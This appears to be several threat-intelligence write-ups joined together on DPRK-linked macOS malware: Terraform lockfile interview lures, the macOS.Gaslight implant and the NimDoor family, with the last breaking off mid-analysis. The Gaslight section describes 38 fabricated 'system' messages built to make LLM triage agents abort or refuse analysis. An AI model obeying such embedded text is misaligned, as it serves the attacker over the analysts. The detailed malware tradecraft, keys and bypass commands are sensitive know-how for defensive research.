Each campaign related to this wave of activity uses social engineering via fake job interview lures, a traditional Contagious Interview approach common among DPRK actors. The attacker makes contact with job seekers from the company that is ultimately compromised; the GitHub profile of each targeted job seeker we identified falls into DevOps or cryptocurrency/FinTech engineering projects.

The GitHub repository themes for coding project lures are designed as infrastructure engineering projects related to the company that the DPRK actors are posing as. By pivoting from the gtn-candidate-repo repository shared by LayerZero Labs in their incident report, we identified additional lures, which included references to the companies Northwind and Novacart.

It is unclear if these were fabricated companies used by the threat actor, or if they were posing as hiring teams from real companies with these names; one Northwind example describes it as an ecommerce company launching in the near future. Other repository names that we identified include:

• Northwind-IAC
• novacart-interview
• terraform-candidate-repo

The repositories contain a weaponized .terraform.lock.hcl file in the coding project with a custom provider that points to a domain controlled by the attacker. We identified three malicious provider domains across multiple repositories:

registry.hashicorp-aws[.]com
registry.hashicorp-aws[.]io
registry.hashicorp-terraform[.]io

When the victim runs terraform init with the weaponized lockfile in place, Terraform treats the custom provider as the source of truth, resulting in Terraform downloading and executing the malicious provider modules.

Developer awareness can lead to friction against this type of attack: in one repository, the candidate being interviewed added a note saying that they removed a typosquatted provider from the project’s original lock file, which may suggest they thought the interviewer was testing for their security awareness.

According to the LayerZero Labs report, the attackers installed the FLATROOF and ROOFDECK macOS backdoors after an employee installed a weaponized interview coding project on their company workstation. TraderTraitor used the backdoors to collect API keys from the organization and to escalate privileges to expand into the victim’s Amazon Web Services and Google Cloud Platform environments.

While we lack insight into many of the subsequent infections resulting from the GitHub repositories we located, SentinelOne identified an unrelated victim by hunting through our telemetry for the macOS backdoors observed in the LayerZero Labs attack.

Additional Victim

The Victim

The affected organization is an IT services provider based in India and unaffiliated with cryptocurrency. One endpoint was involved: an Apple Silicon MacBook belonging to a DevOps engineer. The engineer ran Terraform and Ansible against AWS, OVH and OpenStack on most working days, and the machine held cloud credentials and source control access: much like LayerZero Labs’ “Developer1”. Individuals whose social media profile advertises infrastructure or DevOps work are candidates for this type of attack, and the value of the target is whatever their laptop can reach.

Infection Timeline

According to our telemetry on this host, both backdoors were on disk as far back as March 18, so we cannot prove how they were delivered. They remained dormant until March 29, when beaconing and host activity began.

The implants were first launched by Cursor on March 29, seconds after the cloudshield workspace was opened.

macOS Malware

We observed two malware families being deployed in the compromise, identical to the ones described in the LayerZero Labs attack, named FLATROOF and ROOFDECK (by LayerZero Labs and Mandiant). Both are ARM64 backdoors for macOS written in Rust.

FLATROOF

We observed the FLATROOF backdoor deployed under the name SystemUpdate to ~/Library/com.apple.iTunesCloud/SystemUpdate. It is likely intended for initial data collection from the victim machine and to deploy secondary payloads.

Immediately after starting, FLATROOF suppresses Gatekeeper by removing the com.apple.quarantine attribute from ROOFDECK and sets the executable bit on it; the second implant runs with no signature check and no user prompt.

xattr -rd com.apple.quarantine .../com.apple.internal.ck/iSync
chmod +x .../com.apple.internal.ck/iSync

A detailed analysis of FLATROOF (aka macOS.Gaslight) was published by SentinelLABS in June 2026. Here, we present a short summary of the backdoor’s capabilities as denoted by its supported C2 commands:

The backdoor also carries a data-harvesting Python module, used to gather the following data and exfiltrate them over Telegram using a built-in Telegram bot token:

• Chrome, Brave, Firefox, and Safari browser data
• Terminal command histories
• Installed application listings
• A running-process snapshot via ps aux
• System hardware and software profile via system_profiler
• A raw copy of login.keychain-db

ROOFDECK

ROOFDECK acts as a more sophisticated backdoor with broader reconnaissance and lateral movement capabilities. We observed it dropped under the name iSync to ~/Library/com.apple.internal.ck/iSync.

It is clear from the design of the implant that it is intended to be used as an additional deployment after initial foothold and control are established, since it needs a pre-existing configuration file containing at minimum a Nostr public key of an attacker-controlled profile to allow it to connect to its C2 server for the first time.

ROOFDECK uses a local configuration file ~/.config/.repl_history to store C2 URLs and keys and to set beaconing behavior.

Upon first execution, it pulls live Nostr relays from api.nostr[.]watch/v1/online and combines them with a hardcoded relay list belonging to legitimate Nostr services, then searches the relays for an operator’s profile on the Nostr network based on a public profile key given in the configuration file nostr_public_keys. When found, it reads the website field of the profile and uses that as its C2 URL. TraderTraitor has previously used Nostr.

The following is a list of Nostr relays used for operator profile discovery:

wss://relay.damus[.]io
wss://nos[.]lol
wss://nostr[.]mom
wss://relay.snort[.]social
wss://offchain[.]pub
wss://relay.nostr[.]band
wss://nostr.oxtr[.]dev
wss://nostr[.]wine

Persistence was achieved via a plist entry ~/Library/LaunchAgents/loginwindow.plist, with a dynamically specified application identifier string. It uses a hardcoded --type=renderer parameter to make the implant process appear legitimate.

ROOFDECK supports a wide variety of C2 commands for managing the implant, performing reconnaissance, exfiltrating data and executing attacker code. The C2 endpoint is hardcoded as /app_version. Polling for commands is done via HTTPS with a custom pinned TLS certificate embedded in the implant, shown below.

Interestingly, the malware author used default metadata settings with mkcert, which exposed that they are running on a Linux QEMU-based VM using the username ub. We identified multiple domains using a certificate containing this certificate CN (listed in the Indicators of Compromise section).

Subject = Issuer (self-signed):
    O  = mkcert development CA
    OU = ub@ub-Standard-PC-Q35-ICH9-2009
    CN = mkcert ub@ub-Standard-PC-Q35-ICH9-2009
Serial:    1CD6D13FF15ADBF7A42025D10EC99B4A
Key:       RSA 3072-bit
Validity:  2025-06-20 11:06:53 UTC -> 2035-06-20 11:06:53 UTC  (10-year mkcert default)

ROOFDECK commands are signed with the operator’s private key and their integrity is verified using an embedded public key before execution. The command functionalities are separated into distinct handlers in the source code. The implant re-implements many common shell commands related to directory and file operations, another tactic often used in more sophisticated North Korea-aligned toolsets, including Lazarus’ LightlessCan.

Session & Control

Execution

File system / data

Transfer

Reconnaissance / surveillance

All C2 commands are signed on the server side by an attacker-controlled private key. The public key is embedded in the ROOFDECK payload and is used to verify the origin and integrity of the issued commands before executing them.

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAzan/EObUVxXNfPHdkDyCVR0AC9apleciK9ZQw+neWo6q+wvAhnLp
Pe7FZLomuwntUgI3afLDblgw9t19Kh7w/8CVwFncxh4PdqtdYno4teQ6fDLKXSWa
ZBG7zZ9R22jxPpiY70XKilXJuds34q7pfzVfbLvLTmTWyTtcyrOnRSCOwEHP/gHX
0gX+8sdX7go6O37WwzB4zNvThS+E7hG+fVfrgEaH7IUi3RY9esuBS50UomfYefO3
dK1aDMDWIwVj1skacPR9LazEc6PSGjSXxzI/N2xcpP9QKXn/Pk6r9fBzudhBL3Mw
vWyNi03JbZGtGFiy6Wai6heJqgY7pF1PAQIDAQAB
-----END RSA PUBLIC KEY-----

Another version of ROOFDECK

On April 20, one day after LayerZero Labs’ first public announcement of the KelpDAO incident, the attackers deployed a new version of ROOFDECK to the compromised machine (SHA-1: 5728b11d30586bbfc1d8bd12df1c722a06e767a2, path ~/Library/com.apple.appleaccountd/loginwindow) as an executable named loginwindow. 

After the new version initialized and started beaconing, the attackers used it to remove the old ROOFDECK and FLATROOF binaries. This new ROOFDECK was functionally identical to the previous one, but with stripped symbols and debug information, likely intended to more effectively evade detection. We can only speculate whether this was a reaction to LayerZero Labs’ publication, but the timing is nevertheless interesting.

After the update, we observed intermittent beaconing activity to a new C2 server, grenight[.]com, until June 1. On June 17, the loginwindow binary was moved to Trash.

Conclusion

DPRK-aligned actors like TraderTraitor are leaning heavily into targeting developers to establish a foothold in a network, increasingly through fake job interviews. The incident we investigated shows that not every organization they infiltrate will become a viable target for a massive cryptocurrency theft.

These groups’ initial access efforts include targeting third parties and their software supply chain, which is where much of the industry’s exposure has moved, putting the developer endpoint at the center of the defense. Endpoints used for development carry access to cloud, pipelines and source code, which makes monitoring and protection a high priority for organizations. These campaigns use purpose-built development environments aimed at one engineer at a time, paired with backdoored Terraform builds that differ for each victim.

Recommendations

For organizations:

• We recommend flagging engineers with cloud engineering permissions and source control access as a sensitive group for endpoint security monitoring.
• Look for unsigned binaries executing from the home directory, integrated development environment (IDE) child processes that are not signed IDE components, and outbound TLS from either.
• Reports of interview take-home assignments and unsolicited repositories from these users are worth following up as well, since telemetry alone will not show that a recruiter sent one.
• Consider company policy that prevents using corporate workstations for external job interviews and consider how to enforce this type of policy.
• Educating developers with sensitive access is crucial: the weaponized Terraform provider domain was removed by one job seeker who flagged the typosquatted domain as suspicious. Organizations should add content to their security awareness training programs to highlight the risks of using projects with unknown origins as well as the nature of employees being targeted by threat actors to compromise the organization.

For developers:

• Before running a coding project containing a .terraform.lock.hcl file, ensure that the provider registry belongs to known good domains: anything that is not a known namespace following registry.terraform.io, the official provider domain, should be treated as suspect.
• Malicious packages can also be hosted on the official provider registry domain, so it is important to investigate the source of all packages when using an included lockfile. Terraform’s official registry supports browsing modules and providers, and modules contain a link to its source code.

This report is being published alongside a presentation at LABScon 2026, Don’t Call Us, We’ll Call Your APIs: Anatomy of an Expanding DPRK Multi-Cloud Intrusion. SentinelOne thanks Google and Mandiant for their partnership in providing technical details on this threat actor’s tools and techniques, and Nick Simonian for collaborating on this research.

Indicators of Compromise

IoCs (additional victim)

Custom certificate used for TLS communication

Host IoCs – ROOFDECK

Network IoCs – ROOFDECK

Certificate Domains related to “ub” user

Coding Challenge Repositories

hashicorp-aws[.]com Provider:

hashicorp-aws[.]io Provider:

hashicorp-terraform[.]io Provider:

Executive Summary

• SentinelLABS has analyzed a Rust macOS implant that embeds a 3.5 KB prompt-injection payload of 38 fabricated “system” messages, built to steer an LLM-assisted triage pipeline into aborting or refusing its analysis.
• Command-and-control runs over a Telegram Bot API polling loop, with AES-GCM payloads over certificate-pinned TLS.
• The implant self-redacts its Telegram bot token in its own runtime output, denying it to anyone who captures logs or crash artifacts.
• We assess with high confidence that the implant, which we track as macOS.Gaslight, belongs to a cluster of DPRK-aligned macOS activity.

Introduction

In early June, an Apple XProtect update surfaced a Mach-O sample that had been uploaded to VirusTotal on May 22. The XProtect rule targets the file purely on its hash rather than on any internal strings or bytecode, yet the sample remains undetected by static engines on VirusTotal at the time of writing. The binary is ad hoc signed and carries the identifier endpoint-macos-aarch64-5555494492fc075f441637fb9d894913dde3a2ea.

The sample is a macOS implant and infostealer written in Rust. Its most notable feature is an embedded cascade of fabricated system-failure messages, designed to make an LLM-assisted triage agent doubt its own session. It attacks the agent’s perception, rather than the sandbox it runs in. Accordingly, we dub this family macOS.Gaslight.

We assess with high confidence that this implant sits within a cluster of DPRK-aligned macOS activity. Apple’s XProtect detects the sample under the rule MACOS_BONZAI_COBUCH, and SentinelLABS associates the BONZAI signature family with North Korean threat activity. A sibling BONZAI sample is additionally caught by Apple’s AIRPIPE rule, a family SentinelLABS likewise ties to North Korean activity.

Command & Control | Telegram Bot API

The implant’s command-and-control channel is a Telegram Bot API getUpdates polling loop. The polling branch executes only when no webhook is registered, and the dispatch handler keys on three Telegram error codes: BotBlocked, InvalidToken, and Conflict.

Telegram issues a Conflict response when two instances of the same bot token poll simultaneously, so the implant treats that response as an implicit single-instance lock. A second copy detects the conflict and terminates.

Once the bot token validates and the polling loop is active, the operator can task the implant, including through the interactive shell described below, and collected data is returned over the same channel using Telegram’s multipart attach:// file-upload mechanism.

The bot token, the chat ID (tg_room_id), and the rest of the operator configuration are supplied at runtime and are absent from this sample. Accordingly, the analysis below is based on static examination of the binary and its embedded payloads.

Transport Hardening | AES-GCM Over Pinned TLS

All C2 payloads are encrypted with AES-GCM, implemented using the pure-Rust aes-gcm 0.10.3 crate, with a fresh nonce generated per message via CCRandomGenerateBytes. The AES key is supplied at runtime through the aes_key field in the operator config rather than being embedded in the sample.

On top of the payload encryption, the implant configures a custom certificate trust anchor and calls SecTrustSetAnchorCertificatesOnly, restricting TLS trust evaluation to that anchor alone. This certificate pinning rejects connections intercepted by a standard proxy CA, frustrating network-level inspection of the operator’s traffic.

The implant also honors the host’s proxy settings, reading the active system proxy configuration via SCDynamicStoreCopyProxies and routing the traffic from its Rust reqwest/hyper networking stack accordingly. As a result, the C2 can still reach the operator on networks that force outbound connections through a proxy.

Taken together, those choices make the channel harder to inspect in transit while still allowing it to operate in tightly managed enterprise networks.

Operator Access | An Interactive Shell

After validation and activation, the operator gains an interactive shell. Two co-located command menus define six verbs.

There is some evidence of a seventh command, focus, but we were unable to recover further details from our analysis.

The implant creates an IOPMAssertionCreateWithName power-management assertion to prevent system sleep. Blocking sleep sustains long-running C2 polling and collection across periods of user inactivity, making the implant resilient to a host that would otherwise idle.

All told, the functionality provides the operator with a persistent, interactive foothold on the host.

The 15-Field Cross-Platform Operator Config

The implant reads its operator configuration using serde, a widely used Rust serialization and deserialization framework.

The operator provides the implant with a config blob at runtime and serde fills in a predefined set of fields. By default, serde matches incoming config keys to fields by their literal names, so the entire configuration schema of 15 field names is baked into the binary as plaintext.

tg_room_id           	
github_token         	
github_repo          	
github_polling_interval 
main_upload_url      	
main_base_url        	
aes_key              	
payload_path_linux   	
payload_path_macos   	
persist_name_linux   	
persist_name_macos   	
persist_type_linux   	
persist_type_macos   	
init_python_enable   	
persist_enable       	

The Linux- and GitHub-related fields are not exercised in the sample, suggesting the schema is an operator-facing interface to a broader toolset.

Collection | A Gated Python Stealer With Its Own Runtime Supply Chain

The implant carries a 6.6 KB base64-encoded Python script which serves as a data collection module. Once decoded, it harvests:

• Chrome, Brave, Firefox, and Safari browser data
• Terminal command histories
• Installed application listings
• A running-process snapshot via ps aux
• System hardware and software profile via system_profiler
• A raw copy of login.keychain-db

Collected artifacts are archived to temp/collected_data.zip and uploaded to the operator via Telegram.

SentinelLABS has previously documented Atomic macOS Stealer (AMOS) harvesting the same login keychain copy and browser data and an early Rust macOS stealer targeting login.keychain-db in 2023.

A separate 2 KB base64-encoded bash installer fetches and stages a self-contained cpython-3.10.18 interpreter from the astral-sh/python-build-standalone project. The installer, a prerequisite for deploying the Python stealer, carries the literal constants PY_VERSION=3.10.18 and BUILD_DATE=20250708 and targets both arm64 and x86_64 macOS. The widespread use of emojis and strict adherence to comment headers are consistent with LLM-generated output.

Microsoft has previously described macOS stealers bundling Python via PyInstaller and Nuitka. However, fetching a standalone CPython build from astral-sh/python-build-standalone at runtime has not been previously documented as far as we are aware. The separation keeps the main implant in Rust while letting the operator stage a fuller Python-based collection environment only when needed.

We identified init_python_enable in the serde schema as the configuration field associated with both the stealer and installer. Consistent with our earlier observations, we found no exact runtime branch logic, so we describe both only as configurable capabilities present in the binary.

Persistence | An Apple System-Service Masquerade

Persistence is achieved through a LaunchAgent. This implant’s plist carries the Label value com.apple.system.services.activity. Masquerading within Apple’s com.apple.* namespace is a tactic widely used in many macOS malware families, including those previously tied to DPRK-linked activities.

In order to write a valid absolute path to itself into the plist’s ProgramArguments array, the implant resolves its own executable location at runtime via __NSGetExecutablePath.

The implant’s persistence behavior is controlled through the persist_enable serde config field, and again we did not recover a separate static branch that would confirm exactly how installation is triggered in this sample.

OPSEC | Bot-Token Self-Redaction

Telegram bot tokens are a known weak point in bot-based C2. If the token can be recovered, defenders can use it as a detection artifact and even query the Telegram Bot API directly, exposing the bot’s chat history, operator commands, and registered webhooks. macOS.Gaslight addresses this with a self-redaction routine built into its Telegram URL constructor.

When the URL path segment is the 4-byte literal “file” (0x656c6966 little-endian), the constructor substitutes the token that follows with the hardcoded placeholder file/token:redacted, preventing the live bot credential from appearing in any diagnostic output or error string the implant produces at runtime.

The logic prevents anyone who captures the process’s logs, errors, or crash artifacts from determining the bot token, which otherwise is only available in the config itself and cannot be recovered from the sample.

NVISO Labs has previously noted that most documented Telegram bot abuse embeds recoverable tokens; macOS.Gaslight’s runtime self-redaction appears novel relative to that reporting.

A Prompt Injection That Targets the Analyst

The implant does little conventional anti-analysis. It resolves its API calls at runtime through dlsym so as to avoid embedding them in the static symbol table, and it locates its own executable dynamically rather than from a hardcoded path.

What makes the sample notable is its attempt to mislead the analyst reading the output. It carries a 3.5 KB Markdown-fenced blob of hostile data containing 38 fabricated “system” messages delimited with {{DATA}} tokens.

The {{DATA}} tokens and the surrounding Markdown fence mimic an LLM triage harness’s own prompt scaffold, blurring the boundary between untrusted sample data and trusted instructions.

The scaffold contains fake system messages about token expiry, out-of-memory kills, disk exhaustion, and repeated operation failures. It also plants bogus warnings about injection vulnerabilities and static-analysis flags. The aim is to push an LLM agent into aborting, truncating, or refusing analysis.

Check Point first documented this kind of analyst-targeting prompt injection publicly in 2025, describing a Windows proof-of-concept that used a single direct-instruction prompt injection to evade AI-based detection.

Socket has since documented a Hades supply-chain payload whose stealer opens with a fake prompt-injection header to pollute AI-assisted analysis, while the leaked Shai-Hulud code carried an “Anthropic Magic String” intended to stop Claude Code from analyzing it. Each relied on a single injected block or header rather than the 38-message harness-spoofing cascade seen here.

Previous SentinelLABS research, by contrast, examined malware that uses LLMs to generate or support capability at runtime rather than interfere with analyst tooling.

Conclusion

macOS.Gaslight packs considerable capability into a single, persistent Rust binary, bundling a credential and session-data stealer, an interactive shell, and a self-staged Python collection chain behind a hardened Telegram C2. Aside from the runtime-fetched standalone CPython interpreter, these are all established macOS tradecraft.

However, macOS.Gaslight is noteworthy for its analyst-targeting prompt injection, an attempt to weaponize the LLM-assisted triage pipelines that increasingly sit in the reverse-engineering loop.

Anyone building such tooling should treat the contents of the samples they triage as adversarial input, never as instructions, and be prepared to keep hostile content out of the model entirely. As LLM-assisted analysis becomes routine, defenders should expect more samples built to exploit it.

Indicators of Compromise

Executive Summary

• DPRK threat actors are utilizing Nim-compiled binaries and multiple attack chains in a campaign targeting Web3 and Crypto-related businesses.
• Unusually for macOS malware, the threat actors employ a process injection technique and remote communications via wss, the TLS-encrypted version of the WebSocket protocol.
•  A novel persistence mechanism takes advantage of SIGINT/SIGTERM signal handlers to install persistence when the malware is terminated or the system rebooted.
• The threat actors deploy AppleScripts widely, both to gain initial access and also later in the attack chain to function as lightweight beacons and backdoors.
• Bash scripts are used to exfiltrate Keychain credentials, browser data and Telegram user data.
• SentinelLABS’ analysis highlights novel TTPs and malware artifacts that tie together previously reported components, extending our understanding of the threat actors’ evolving playbook.

In April 2025, Huntabil.IT observed a targeted attack on a Web3 startup, attributing the incident to a DPRK threat actor group. Several reports on social media at the time described similar incidents at other Web3 and Crypto organizations. Analysis revealed an attack chain consisting of an eclectic mix of scripts and binaries written in AppleScript, C++ and Nim. Although the early stages of the attack follow a familiar DPRK pattern using social engineering, lure scripts and fake updates, the use of Nim-compiled binaries on macOS is a more unusual choice. A report by Huntress in mid-June described a similar initial attack chain as observed by Huntabil.IT, albeit using different later stage payloads.

SentinelLABS’ analysis of the payloads used in the April incidents shows the Nim stages contain some unique features including encrypted configuration handling, asynchronous execution built around Nim’s native runtime, and a signal-based persistence mechanism previously unseen in macOS malware.

In this post, we provide an overview of the attack chain and a technical analysis of the C++ and Nim-based components. We refer to this family of malware collectively as NimDoor, based on its functionality and development traits. Indicators of compromise and insights into the malware’s architecture are provided to aid defenders and threat hunters in identifying related activity.

Initial Access and Payload Delivery

The attack chain begins with a now-familiar social engineering vector: impersonation of a trusted contact over Telegram and inviting the target to schedule a meeting via Calendly. The target is subsequently sent an email containing a Zoom meeting link and instructions to run a so-called “Zoom SDK update script”.

An attacker-controlled domain hosts an AppleScript file named zoom_sdk_support.scpt. Variants of this script can be found in public malware repositories through the seemingly unintentional typo in a code comment: - - Zook SDK Update instead of - - Zoom SDK Update. The file is heavily padded, containing 10,000 lines of whitespace to obfuscate its true function.

The script ends with three lines of malicious code that retrieve and execute a second-stage script from a command-and-control server hosted at support.us05web-zoom[.]forum. This domain name format has been chosen for similarity to the legitimate Zoom meeting domain us05web.zoom[.]us.

Our analysis found a number of parallel domains in use by the same actor.

support.us05web-zoom[.]pro
support.us05web-zoom[.]forum
support.us05web-zoom[.]cloud
support.us06web-zoom[.]online

The follow-on script downloads an HTML file named check, which includes a legitimate Zoom redirect link.

<a ref="https://us05web.zoom[.]us/j/4724012536?pwd=ADlAXdxkUclRhvYoJbpKQmizkQ1RV4.1">Temporary Redirect</a>

This HTML file is passed to curl and executed via run script, ultimately launching the attack’s core logic.

Researchers at Validin have also recently published extended indicators around this and associated infrastructure. The posts by Huntabil.IT and Huntress mentioned earlier describe much the same initial attack chain. However, the second part of the attack chain is where things begin to get both different and increasingly complex.

Execution Chain and File Deployment

The multi-staged infection process Huntabil.IT observed resulted in the download of two Mach-O binaries—a and installer—into /private/var/tmp. These two binaries set off two independent execution chains.

In the first, the a binary is a C++-compiled universal architecture Mach-O executable. It writes an encrypted embedded payload called netchk to disk. The execution from here involves a complex chain of obfuscation and distraction which we describe in the following section. Ultimately, the aim is to fetch two Bash scripts used for data exfiltration. These include mechanisms for scraping general system data as well as application-specific data like browser data and Telegram chat histories. All operations are staged from a folder created at ~/Library/DnsService.

The second execution chain starts with the installer binary, which is also a universal Mach-O executable compiled from Nim source code, and is responsible for persistence setup. It drops two additional Nim-compiled binaries: GoogIe LLC (where “GoogIe” is spelled using a deceptive capital “i” rather than a lowercase ‘L’) and CoreKitAgent. These payloads orchestrate long-term access and recovery mechanisms for the threat actor.

Technical Analysis of a, netchk and trojan1_arm64

Both Huntabil.IT and Huntress describe use of a C++-compiled binary with the name a being deposited as a result of initial infection through the fake Zoom update scripts described earlier.

The a binary is ad hoc signed and carries the identifier InjectWithDyldArm64. As reported by previous researchers, it can take a command line argument --d, which results in the deletion of a‘s current working directory, or a file name and password. In the Huntabil.IT post, this was reported as:

./a ./netchk gift123$%^

The InjectWithDyldArm64 (aka a) binary uses Password-Based Key Derivation Function 2 (PBKDF2) with HMAC-SHA-256 to derive a 32-byte key from the password gift123$%^, using 10000 iterations and a salt consisting of the first sixteen characters of the embedded base64 string.

The derived key and the base64 decoded encrypted data are passed to the AesEncrypt function, which iterates through 16 byte blocks of the encrypted data. On each iteration it:

• calls AesTrans, a wrapper for CCCrypt, to perform an AES encryption in CBC mode with the derived key and a zero-filled initialization vector. In the first iteration the data to be encrypted is the key itself, but in subsequent iterations the input data is taken from the previous AesTrans call.
• XORs the current encrypted data block with the current AesTrans result.

SentinelLABS’ analysis shows that this process is used to decrypt two embedded binaries. The first carries an ad hoc signature and the identifier Target. The second has an ad hoc signature with the identifier trojan1_arm64. The Target binary is benign and appears to do nothing other than generate random numbers.

However, Target is spawned by InjectWithDyldArm64 in a suspended state via

posix_spawnattr_init(&attrp) && !posix_spawnattr_setflags(&attrp, POSIX_SPAWN_START_SUSPENDED)
posix_spawn(&pid, filename, 0, &attrp, argv_1, environ)

and injected with the trojan1_arm64 binary’s code. After injection, the suspended Target process is resumed via

kill(pid, SIGCONT)

and the code from the trojan1_arm64 binary is executed.

This kind of process injection technique is rare in macOS malware and requires specific entitlements to be performed; in this case, the InjectWithDyldArm64 binary has the following entitlements to allow the injection:

com.apple.security.cs.debugger
com.apple.security.get-task-allow

After first negotiating an HTTP handshake, the injected code uses wss to communicate with the C2 – another uncommon technique for macOS malware – at wss://firstfromsep[.]online/client.

The malware uses multiple levels of RC4 encryption in combination with the base64 encoding and three different keys before the communication.

Our analysis found that the communication messages from the C2 use a JSON format of {"name":"","payload":"","target":""}. The name field takes the value auth or message.

When the auth value is used, the payload field has the JSON structure {"uid":"","cipher":""}, where the uid field contains a generated uid value and the cipher field contains the uid value encrypted using the key Ej7bx@YRG2uUhya#50Yt*ao and then encoded in base64. We suspect the target field is used for the victim identifier.

When the message value is used, the payload field value is encrypted using the key 3LZu5H$yF^FSwPu3SqbL*sK. The payload has the JSON structure {"cmd":, "data":""} where the cmd field contains an int value for the command to be executed. Available commands we were able to identify in trojan1_arm64 were as follows:

The result of an executed command is returned to the C2 in the payload field, now having the form {"cmd":,"err":,"data":""}, where cmd contains the int value related to the command that was executed, err contains an int value related to success or failure, and data contains the results of the executed command. For example, when a getSysInfo command is executed, the data field will be populated with values in a JSON structure of the form {"boottime":,"username":"","version":"","comname":"","platform":"","arch":""}.

The whole JSON message is encrypted using the key lZjJ7iuK2qcmMW6hacZOw62.

Data Stealing Bash Scripts

The first part of the attack chain concludes with trojan1_arm64 downloading and executing two scripts, upl and tlgrm.

The upl script is a credential-stealer designed to silently extract browser and system-level information, package it, and exfiltrate it. The script targets data from the following browsers:

• Arc
• Brave
• Firefox
• Google Chrome
• Microsoft Edge

Browser data is copied to

/private/var/tmp/uplex_<username>/<browser>/

The script also targets the following Keychain and shell files and directories:

/Library/Keychains/System.keychain
~/Library/Keychains/login.keychain-db
~/.bash_history
~/.zsh_history
~/.zsh/

The data is then compressed via ditto -ck and posted to the C2 using curl.

The tlgrm script steals Telegram’s encrypted local database (postbox/db) and the decryption key blob, .tempkeyEncrypted, presumably for offline decryption or brute force attempts.

The Telegram data is exfiltrated to the same server used in the upl script. The uploadData() function in both scripts is identical save for one variable name used to specify the server address: hostName in upl and serverUrl in tlgrm.

upl:
hostName="https[:]//dataupload[.]store/uploadfiles"

tlgrm:
serverUrl="https[:]//dataupload[.]store/uploadfiles"

Our investigation found related scripts in public malware repositories that may be tied to similar attacks. We list these in the Indicators of Compromise section at the end of this post.

Technical Analysis of installer, GoogIe LLC, and CoreKitAgent

Installer

The second part of the attack chain begins with the installer binary dropped alongside a by the initial access scripts. Compiled from Nim and weighing in at ~233KB, the installer binary is a universal architecture Mach-O with an ad hoc signature and the identifier user_startup_installer_arm64.

The installer binary checks for the existence of a LaunchAgent at [~]/Library/LaunchAgents/com.google.update.plist and creates folder paths at [~]/Library/CoreKit/ and  [~]/Library/Application Support/GoogIe LLC/ for use by the later stages described in the following sections.

The misspelling of GoogIe LLC (uppercase ‘i’, not lowercase ‘L’) is intended to help the malware blend in and avoid suspicion.

An interesting feature of this and the other compiled Nim binaries is the existence of code that at first blush could be mistaken for C2 command options.

Huntress researchers also reported observing a subset of these “po” commands in their analysis. Nim documentation reveals that these are part of Nim’s std/osproc module, used for executing OS processes, similar to the way Objective-C uses NSTask, and are not attacker-written code or malware artifacts.

We identified two versions of the installer binary, identical except for the path used to set up the config file used by later stage payloads. One version of installer uses /private/tmp/cfg (06566eabf54caafe36ebe94430d392b9cf3426ba) while the other uses /private/tmp/.config (08af4c21cd0a165695c756b6fda37016197b01e7).

In both cases, installer checks that the file does not exist, then writes a 0 byte file to the path, setting write-only access (O_WRONLY) on the file. The file path contents are populated by the next stage GoogIe LLC and later read by CoreKitAgent.

GoogIe LLC

Compiled from Nim and approximately 195KB, the GoogIe LLC executable is a universal Mach-O bearing an ad hoc code signature with the identifier user_startup_loader_arm64. Interestingly, only the filename for this stage uses the typo spoofing trick; the parent folder /Google LLC/ spells Google correctly with a lowercase “L”.

~/Library/Application Support/Google LLC/GoogIe LLC

The binary’s primary function is to set up a configuration file and launch the next stage, CoreKitAgent. The GoogIe LLC executable contains hardcoded data that is combined with local environmental data, encoded, and then written out to the config file in /private/tmp.

The resulting config file contains a 298 byte string of hexadecimal characters. This is later read by CoreKitAgent, which is responsible for writing the LaunchAgent to disk using com.google.update.plist for the Label key and the GoogIe LLC binary for the program argument. The data written to the config file is used as the value for the LaunchAgent’s CLIENT_AUTH_KEY key.

The first 47 characters of the value of CLIENT_AUTH_KEY are also identical to the first 47 characters (of the total 86) used for the value of SERVER_AUTH_KEY.

When the LaunchAgent is activated by a user login or reboot, GoogIe LLC is launched, which in turn calls CoreKitAgent and the rest of the payload logic.

CoreKitAgent

Of the four Nim binaries observed, CoreKitAgent is the most technically complex. It exists in both an unsigned stripped (~233KB) version and an ad hoc signed, unstripped (~340KB) version. VirusTotal telemetry indicates that the stripped version was uploaded from South Korea in October 2024. The unstripped version was observed in the wild in early April 2025. Although it is a universal binary, the ad hoc signature identifies the binary as user_startup_main_arm64.

The CoreKitAgent program operates as an event-driven application using macOS’s kqueue mechanism. The _main function sets up Nim’s standard signal handlers and then hands control to an asynchronous continuation function _mainX20X28AsyncX29___user95startup95main_u45, which initiates the malware’s core logic.

Control flow within this function is handled by a 10-case switch statement implemented as a table-driven state machine, with an execution state stored in memory and updated via a lookup table with the following values:

00 00 fe ff 03 00 00 00 fe ff fe ff fe ff fe ff

After each case completes, the code consults the lookup table to determine the next state depending on error conditions or specific flags set during execution of the previous case. For example, if certain error bits are set, the next state value might be negated, effectively creating alternate paths through the state sequence depending on runtime conditions.

From an analysis point of view, much of the interesting malicious behaviour occurs in Case 1, which overrides some of the earlier signal handlers for intercepting SIGINT and SIGTERM. SIGINT is sent to a process when a user attempts to kill a process (such as by pressing ctl-c in the Terminal). SIGTERM, in contrast, is a signal sent by the system or another process, such as when the kill command is invoked by a user in the Terminal or by a program or script.

When triggered, CoreKitAgent catches these signals and writes the LaunchAgent for persistence, a copy of GoogIe LLC as the loader, and a copy of itself as the trojan, setting executable permissions on the latter two via the addExecutionPermissions_user95startup95mainZutils_u32 function.

This behavior ensures that any user-initiated termination of the malware results in the deployment of the core components, making the code resilient to basic defensive actions.

The state machine also contains a 10-minute sleep routine, likely as an anti-VM or sandbox countermeasure. The sleep routine is set up and called in Case 6 with a hard-coded value of 0x927c0 (600,000ms), as indicated in the following pseudocode.

void* rax_29 = _sleepAsync__user95startup95main_u73(0x927c0);  // 600,000ms = 10min
if (*r12 != 0)
	_eqdestroy___pureZasyncdispatch_u1229(rax_29);  // Error cleanup
else {
	_eqsink___pureZasyncdispatch_u7188(rsi_1 + 0x40, rax_29);  // Store future
	if (*r12 == 0) {
		*(r15 + 8) = 7;  // Transition to state 7
		rsi_15 = *(r15 + 0x40);
	}
}

The sleep function, _sleepAsync__user95startup95main_u73, uses the operating system’s mach_absolute_time() and mach_timebase_info() to create an asynchronous sleep. Rather than just blocking execution for 10 minutes – a technique many sandboxes would detect and counter – it instead registers a wake-up time with a global dispatcher and continues execution of the main event loop. When the sleep timer expires, CoreKitAgent calls Case 7 and continues execution.

AppleScript Beacon and Backdoor

The malware’s custom encryption and obfuscation routines involve multiple passes through several functions. One of these involves deobfuscating string literals made up of long sequences of hexadecimal numbers that are passed to a decrypt function, _fromHex__pkgZnimcryptoZutils_u257.

